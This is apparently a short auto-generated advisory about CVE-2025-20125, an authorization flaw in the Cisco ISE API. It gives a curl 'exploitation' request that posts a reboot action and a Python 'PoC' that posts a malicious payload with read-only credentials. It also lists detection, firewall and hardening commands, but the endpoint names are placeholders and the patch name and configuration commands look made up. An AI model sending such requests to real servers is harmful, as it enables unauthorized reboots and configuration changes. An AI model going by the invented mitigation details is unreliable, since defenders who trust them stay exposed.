How CVE-2025-20125 Works
This vulnerability exists in Cisco Identity Services Engine (ISE) due to improper authorization checks in a specific API endpoint. When a read-only authenticated user sends a crafted HTTP request to the vulnerable API, the system fails to validate their permission level properly. The API endpoint incorrectly processes POST requests that should require admin privileges, allowing read-only users to execute privileged actions. The lack of input validation enables attackers to inject malicious payloads that trigger configuration changes or system reboots. The vulnerability stems from missing role-based access control (RBAC) enforcement in the API handler function.
DailyCVE Form
Platform: Cisco ISE
Version: 3.2, 3.1
Vulnerability: API auth bypass
Severity: Critical
date: 03/28/2025
What Undercode Say:
Exploitation Analysis
curl -X POST -H "Authorization: Basic [bash]" \
https://[bash]/api/v1/vulnerable-endpoint -d '{"action":"reboot"}'
Detection Command
grep "vulnerable-endpoint" /ise/path/to/api/logs/access.log | grep "POST"
Mitigation Steps
1. Apply Cisco patch ISE-3.2-P1
2. Implement API gateway WAF rules:
deny POST /api/v1/vulnerable-endpoint if user_role=readonly
Temporary Workaround
access-list API-PROTECT deny tcp any any eq 443 if http_uri contains "vulnerable-endpoint" and http_method eq POST
Python PoC
import requests
headers = {'Authorization': 'Basic [bash]'}
data = {'config': 'malicious_payload'}
response = requests.post('https://[bash]/api/v1/config', headers=headers, json=data, verify=False)
Log Monitoring Rule
alert tcp any any -> $ISE_SERVERS 443 (msg:"CVE-2025-20125 Attempt"; \
content:"POST"; http_method; content:"/api/v1/vulnerable-endpoint"; http_uri; \
content:"Authorization: Basic"; http_header; sid:1000251; rev:1;)
Network Protection
iptables -A INPUT -p tcp --dport 443 -m string --string "POST /api/v1/vulnerable-endpoint" --algo bm -j DROP
Cisco ISE Hardening
ise-application configure api-auth-strict-mode enable
ise-application restart api-service
Verification Test
curl -k -X GET -H "Authorization: Basic [bash]" \
https://localhost:9060/api/v1/version | grep "patch"
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-20125
Extra Source Hub:
Undercode
